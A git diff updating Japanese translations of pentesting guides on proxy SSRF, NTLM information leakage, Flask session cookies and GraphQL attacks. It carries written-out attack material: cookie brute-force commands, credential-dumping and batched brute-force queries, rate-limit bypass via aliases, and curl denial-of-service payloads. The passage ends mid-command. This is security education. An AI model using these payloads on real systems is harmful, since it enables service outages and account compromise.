_ブルートフォースやスパイダーリング中に新しいディレク **502 Proxy Error** -ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信すると(ホストヘッダーや他の一般的なヘッダーを含む)、**プロキシ**は_**google.com**_に**アクセス**しようとし、**SSRF**を見つけることになります。 +ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信すると(ホストヘッダーや他の一般的なヘッダーを含む)、**プロキシ**は**_google.com_**に**アクセス**しようとし、**SSRF**を見つけることになります。 **NTLM認証 - 情報漏洩** 認証を要求しているサーバーが**Windows**であるか、**資格情報**(および**ドメイン名**を要求するログイン)を見つけた場合、**情報漏洩**を引き起こすことができます。\ -**ヘッダー**を送信します: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報(IISバージョン、Windowsバージョン...)を「WWW-Authenticate」ヘッダー内で応答します。\ -この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。 +**ヘッダー**を送信します: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`。**NTLM認証の動作**により、サーバーは内部情報(IISバージョン、Windowsバージョン...)を「WWW-Authenticate」ヘッダー内で応答します。\ +これを**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。 **HTTPリダイレクト (CTF)** **リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠されている**ものがあるかもしれません。 -### ウェブ脆弱性の確認 +### ウェブ脆弱性のチェック -ウェブアプリケーションの包括的な列挙が行われたので、さまざまな可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります: +ウェブアプリケーションの包括的な列挙が行われたので、多くの可能性のある脆弱性をチェックする時が来ました。チェックリストはここにあります: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 080a107bb..a2710e26f 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**おそらく、CTFをプレイしている場合、Flaskアプリケーションは** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**に関連しています。** +**おそらく、CTFをプレイしている場合、Flaskアプリケーションは** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**に関連しています。** ## Cookies @@ -14,7 +14,7 @@ #### Manual -クッキーの最初の部分を最初のピリオドまで取得し、Base64デコードします。 +クッキーの最初の部分を最初のドットまで取得し、Base64デコードします。 ```bash echo "ImhlbGxvIg" | base64 -d ``` @@ -56,13 +56,13 @@ https://github.com/Tagvi/ripsession ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` -### SQLi in Flask session cookie with SQLmap +### FlaskのセッションクッキーにおけるSQLiとSQLmap -[**この例**](../../pentesting-web/sql-injection/sqlmap/index.html#eval)では、sqlmapの`eval`オプションを使用して、既知の秘密を使用してFlaskのために**sqlmapペイロードを自動的に署名**します。 +[**この例**](../../pentesting-web/sql-injection/sqlmap/index.html#eval)では、sqlmapの`eval`オプションを使用して、既知の秘密を用いてFlaskのために**sqlmapペイロードを自動的に署名**します。 -## Flask Proxy to SSRF +## SSRFへのFlaskプロキシ -[**この書き込みでは**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)Flaskが「@」という文字で始まるリクエストをどのように許可するかが説明されています。 +[**この解説**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、Flaskが「@」という文字で始まるリクエストをどのように許可するかが説明されています。 ```http GET @/ HTTP/1.1 Host: target.com diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 4a51ee401..aaf92af59 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,11 +4,11 @@ ## Introduction -GraphQLは**効率的な代替手段**として**強調されており**、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは**単一のリクエスト**で必要なすべての情報を取得することを可能にします。この簡素化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。 +GraphQLは**効率的な代替手段**として**強調されており**、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは**単一のリクエスト**で必要なすべての情報を取得できます。この簡素化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。 ## GraphQLとセキュリティ -GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ脆弱性も現れます。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに対して機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。 +GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も出現します。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。 ### ディレクトリブルートフォース攻撃とGraphQL @@ -23,7 +23,7 @@ GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ - `/graphql/api` - `/graphql/graphql` -オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査することができます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査できます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### フィンガープリンティング @@ -37,11 +37,11 @@ query{__typename} ``` ### 基本列挙 -Graphqlは通常**GET**、**POST**(x-www-form-urlencoded)および**POST**(json)をサポートしています。ただし、セキュリティのためにCSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。 +Graphqlは通常、**GET**、**POST** (x-www-form-urlencoded) および **POST**(json) をサポートしています。ただし、セキュリティのために、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。 #### インストロスペクション -スキーマ情報を発見するためにインストロスペクションを使用するには、`__schema`フィールドをクエリします。このフィールドはすべてのクエリのルートタイプで利用可能です。 +スキーマ情報を発見するためにインストロスペクションを使用するには、`__schema`フィールドをクエリします。このフィールドは、すべてのクエリのルートタイプで利用可能です。 ```bash query={__schema{types{name,fields{name}}}} ``` @@ -65,10 +65,10 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy ``` ![](<../../images/image (416).png>) -**インストロスペクションを介してデータベーススキーマを列挙する** +**インテロスペクションを介してデータベーススキーマを列挙する** > [!NOTE] -> インストロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。 +> インテロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。 ```bash #Full introspection query @@ -158,7 +158,7 @@ name } } ``` -インラインイントロスペクションクエリ: +インラインインスペクションクエリ: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` @@ -193,21 +193,21 @@ query = { hiddenFlags } ![](<../../images/image (880).png>) -しかし、この例ではそうしようとすると **エラー** が発生します: +しかし、この例ではそうしようとすると、次の **エラー** が発生します: ![](<../../images/image (1042).png>) どうやら、"_**uid**_" 引数のタイプ _**Int**_ を使用して検索するようです。\ -とにかく、[Basic Enumeration](graphql.md#basic-enumeration) セクションでは、必要な情報をすべて表示するクエリが提案されていました:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +とにかく、[Basic Enumeration](graphql.md#basic-enumeration) セクションでは、必要な情報をすべて表示するクエリが提案されていました: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -そのクエリを実行したときに提供された画像を読むと、"_**user**_" にタイプ _Int_ の **arg** "_**uid**_" があったことがわかります。 +そのクエリを実行したときに提供された画像を読むと、"_**user**_" にタイプ _Int_ の **arg** "_**uid**_" があることがわかります。 したがって、軽い _**uid**_ ブルートフォースを実行したところ、_**uid**=**1** でユーザー名とパスワードが取得されました:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) -私は、**パラメータ** "_**user**_" と "_**password**_" を要求できることを **発見** したことに注意してください。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します: +注意すべきは、**パラメータ** "_**user**_" と "_**password**_" を要求できることを **発見** したことです。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します: ![](<../../images/image (707).png>) @@ -215,7 +215,7 @@ query = { hiddenFlags } **クエリ文字列ダンプトリック(@BinaryShadow\_ に感謝)** -文字列タイプで検索できる場合、例えば:`query={theusers(description: ""){username,password}}` とし、**空の文字列**を **検索** すると、すべてのデータが **ダンプ** されます。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。 +文字列タイプで検索できる場合、例えば: `query={theusers(description: ""){username,password}}` とし、**空の文字列**を **検索** すると、すべてのデータが **ダンプ** されます。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。 ### 検索 @@ -254,7 +254,7 @@ name } }r ``` -または、**エイリアスを使用した複数の異なるオブジェクトの関係**: +または**エイリアスを使用した複数の異なるオブジェクトの関係**: ```javascript { johnsMovieList: searchPerson(name: "John Doe") { @@ -279,13 +279,13 @@ name ``` ### Mutations -**ミューテーションはサーバー側で変更を加えるために使用されます。** +**ミューテーションはサーバーサイドで変更を加えるために使用されます。** **イントロスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_"は"_Mutation_"と呼ばれ、"_Mutation_"オブジェクトにはミューテーションの名前(この場合は"_addPerson_"など)が含まれています: ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。 +このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になったり、映画を持ったりすることができ、データベース内の関係を示します。 データベース内に**新しい**映画を**作成する**ためのミューテーションは、次のようになります(この例ではミューテーションは`addMovie`と呼ばれます): ```javascript @@ -300,7 +300,7 @@ rating ``` **クエリ内で値とデータの型がどのように示されているかに注意してください。** -さらに、データベースは、既存の**友人**や**映画**との関連を持つ**人物**の作成を可能にする`addPerson`という名前の**ミューテーション**操作をサポートしています。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。 +さらに、データベースは `addPerson` という名前の **mutation** 操作をサポートしており、これにより **persons** の作成と既存の **friends** および **movies** との関連付けが可能になります。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。 ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -330,26 +330,26 @@ releaseYear ``` ### ディレクティブのオーバーロード -[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)で説明されているように、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。 +このレポートで説明されている[**脆弱性の一つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。 ### 1つのAPIリクエストでのバッチブルートフォース この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\ -**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ処理機能のおかげで、HTTPリクエストごとに1つ以上のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。 +**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。 以下は、**同時に3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です: ![](<../../images/image (1081).png>) -レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。**2番目のミューテーションは正しい認証**データを持ち、レスポンスには正しい認証セッショントークンがあります。 +レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。**2番目のミューテーションは正しい認証**データを持ち、レスポンスには正しい認証セッショントークンが含まれています。 ![](<../../images/image (119) (1).png>) ## インストロスペクションなしのGraphQL -ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマのほとんどを再構築するのに十分です。 +ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマの大部分を再構築するのに十分です。 -さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、**新しいクエリを見るたびに**内部GraphQL**スキーマを構築します**。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 +さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、新しいクエリを見るたびに内部のGraphQL**スキーマ**を**構築**します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 素晴らしい**ワードリスト**は、[**GraphQLエンティティを発見するためにここにあります**](https://github.com/Escape-Technologies/graphql-wordlist?)。 @@ -391,9 +391,9 @@ payload: GQL_CALL, ws.send(JSON.stringify(graphqlMsg)) } ``` -### **公開されたGraphQL構造の発見** +### **露出したGraphQL構造の発見** -イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**公開された機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです: +イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**露出した機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -417,21 +417,21 @@ GraphQLリクエストは通常、Content-Type **`application/json`**を使用 ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -したがって、前述のようなCSRFリクエストは**プレフライトリクエストなしで**送信されるため、CSRFを悪用してGraphQLに**変更**を**加える**ことが可能です。 +したがって、前述のようなCSRFリクエストは**プレフライトリクエストなしで送信される**ため、CSRFを悪用してGraphQLに**変更**を**加える**ことが可能です。 ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。 -**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。 +通常、**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも可能であり、GETリクエストではCSRFトークンが検証されない可能性があることに注意してください。 -また、[**XS-Search**](../../pentesting-web/xs-search/) **攻撃**を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。 +また、[**XS-Search**](../../pentesting-web/xs-search/index.html) **攻撃**を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。 詳細については、[**こちらの元の投稿を確認してください**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。 ## GraphQLにおけるクロスサイトWebSocketハイジャック -GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能です**。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。 +GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能です**。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。 -詳細については、確認してください: +詳細については、以下を確認してください: {{#ref}} ../../pentesting-web/websocket-attacks.md @@ -453,7 +453,7 @@ GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないク ``` ### GraphQLにおける認証バイパス -[クエリのチェーニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。 +[クエリのチェイニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。 以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。 @@ -461,13 +461,13 @@ GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないク ## GraphQLにおけるエイリアスを使用したレート制限のバイパス -GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティを明示的に命名する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンス**を単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。 +GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティの名前を明示的に指定する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンス**を単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。 -GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 +GraphQLエイリアスの詳細な理解のためには、次のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 -エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対するブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。 +エイリアスの主な目的は、数多くのAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用することで、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。 -以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。 +以下の例を考えてみてください。これは、エイリアス付きクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。 ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -482,18 +482,18 @@ valid } } ``` -## GraphQLにおけるDoS +## DoS in GraphQL -### エイリアスのオーバーロード +### Alias Overloading -**エイリアスのオーバーロード**は、攻撃者が同じフィールドに対して多くのエイリアスでクエリをオーバーロードし、バックエンドリゾルバがそのフィールドを繰り返し実行するGraphQLの脆弱性です。これによりサーバーリソースが圧倒され、**サービス拒否(DoS)**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(`expensiveField`)がエイリアスを使用して1,000回要求され、バックエンドがそれを1,000回計算することを強制され、CPUやメモリが枯渇する可能性があります: +**Alias Overloading**は、攻撃者が同じフィールドに対して多くのエイリアスでクエリを過負荷にするGraphQLの脆弱性であり、バックエンドリゾルバがそのフィールドを繰り返し実行する原因となります。これによりサーバーリソースが圧倒され、**Denial of Service (DoS)**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(`expensiveField`)がエイリアスを使用して1,000回要求され、バックエンドがそれを1,000回計算することを強制され、CPUやメモリが枯渇する可能性があります: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -これを軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。 +この問題を軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。 ### **配列ベースのクエリバッチ処理** @@ -505,11 +505,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。 +この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーがそれらを同時に実行することを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。 ### **ディレクティブオーバーローディング脆弱性** -**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することで、計算またはメモリ使用量を高め、**サービス拒否(DoS)**を引き起こすことができます。 +**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することでこれを悪用し、高い計算またはメモリ使用を引き起こし、**サービス拒否(DoS)**につながる可能性があります。 ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -517,7 +517,7 @@ curl -X 